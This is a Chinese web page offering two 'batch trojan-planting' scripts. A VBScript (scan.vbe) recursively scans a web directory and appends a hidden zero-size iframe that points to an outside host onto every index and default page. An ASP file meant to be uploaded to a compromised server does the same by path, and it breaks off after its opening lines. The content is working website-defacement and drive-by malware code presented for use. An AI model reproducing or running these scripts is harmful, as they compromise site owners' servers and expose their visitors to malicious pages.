兩個批量掛馬vbs腳本代碼
2019-10-26 18:00:48
供稿：網友
scan.vbe
cscript scan.vbe web目錄
程序代碼：
'版權信息
br="************************************" & vbCrLf
br=br & "* VBS 批量掛馬腳本 *" & vbCrLf
br=br & "* BY BanLG *" & vbCrLf
br=br & "************************************" & vbCrLf & vbCrLf
br=br & "cscript scan.vbe D:/" & vbCrLf
'馬的地址
ma="</Script><IfRAME height=0 width=0 sRc=" & chr(34) & "http://www.hacker.com.cn"&chr( … t;</IFrAME>"
'要掛馬的頁面如果嫌不夠還可以自己再加，記得要用”|”隔開
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"為分隔符拆分成數組
MyArray = Split(MyString, "|", -1, 1)
web=WScript.Arguments(0)
'如果web為空退出腳本
if web="" then
Wscript.echo (br)
window.Close
end if
Wscript.echo (br) & "馬的地址：" & ma & vbCrLf & vbCrLf
'創建對象
Set fso = createObject("Scripting.FileSystemObject")
'開始掃描掛馬
scan(web)
'scan定義函數,掃描查找符合條件的文件把馬的內容寫到文件的結尾
sub scan(filesder)
set filesder=fso.getfolder(filesder)
'得到當前目錄的所有文件集合
set files=filesder.files
'獲取文件名
for each fext in files
Set file1 = fso.GetFile(fext)
filesext=file1.Name
'把文件名轉換成小寫字母
ext=lcase(filesext)
For Each index in MyArray
'判斷文件是不是我們在MyString里限定的文件，如果是就寫馬
if ext=lcase(index) then
Set ts = fso.OpenTextFile(fext,8) '打開文件并在文件末尾進行寫操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext & " ………….ok"
Wscript.echo (echo)
end if
next
next
set subfolders=filesder.subfolders
for each subfolder in subfolders '搜索其他目錄,遞歸調用
scan(subfolder)
next
end sub
FSO掛馬.asp
傳進服務器以后 直接輸入需要掛馬的路徑就可以直接掛了
程序代碼：
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title></title>
<**** http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
